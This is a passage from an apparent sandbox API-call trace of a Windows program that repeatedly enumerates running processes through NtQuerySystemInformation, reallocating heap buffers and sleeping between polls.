(Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0141.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0141.697] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0141.697] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d88d8) returned 1 [0141.697] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6d8ef8 [0141.697] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8ef8) returned 1 [0141.697] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6990 [0141.697] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.697] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6990 [0141.697] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.697] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.697] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.697] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6990 [0141.697] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.697] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0141.697] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6990 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6d8ef8 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8ef8) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6d8ef8 [0141.698] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8ef8) returned 1 [0141.698] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3ef8 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e6990 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6990) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.699] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0141.699] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x2560048) returned 1 [0141.699] Sleep (dwMilliseconds=0x64) [0142.096] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0142.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0142.096] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0142.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0142.096] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0142.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0142.097] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0142.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0142.097] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0142.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0142.097] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0142.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0142.097] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0142.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0142.097] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0142.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.097] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0142.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.098] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0142.098] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.098] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0142.098] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.098] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0142.098] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.098] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0142.098] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.098] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0142.099] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0142.099] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0142.099] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0142.100] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0142.100] Sleep (dwMilliseconds=0x64) [0142.590] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0142.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0142.590] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0142.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0142.590] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0142.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0142.591] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0142.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0142.591] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0142.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0142.591] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0142.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0142.591] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0142.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0142.591] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0142.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.591] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0142.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0142.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0142.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0142.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0142.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0142.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0142.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0142.593] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0142.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0142.593] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0142.593] Sleep (dwMilliseconds=0x64) [0143.203] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0143.203] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0143.204] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0143.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0143.204] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0143.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0143.204] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0143.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0143.204] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0143.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0143.204] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0143.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0143.205] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0143.205] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0143.205] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0143.205] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.205] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0143.205] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.205] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0143.205] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.205] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0143.205] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.206] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0143.206] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.206] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0143.206] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.206] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0143.206] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0143.207] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0143.207] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0143.207] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x256f270 [0143.208] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x256f270, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x256f270, ResultLength=0x0) returned 0xc0000004 [0143.209] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x256f270, Size=0x11264) returned 0x256f270 [0143.209] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x256f270, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x256f270, ResultLength=0x0) returned 0x0 [0143.209] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0143.209] Sleep (dwMilliseconds=0x64) [0143.606] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0143.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0143.607] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0143.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0143.607] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0143.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0143.607] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0143.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0143.607] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0143.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0143.607] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0143.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0143.608] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0143.608] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0143.608] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0143.608] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.608] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0143.608] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.608] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0143.608] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.608] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0143.608] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.609] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0143.609] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.609] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0143.609] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0143.609] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0143.609] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0143.609] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0143.609] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0143.610] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0143.610] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0143.610] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0143.610] Sleep (dwMilliseconds=0x64) [0144.101] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0144.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, 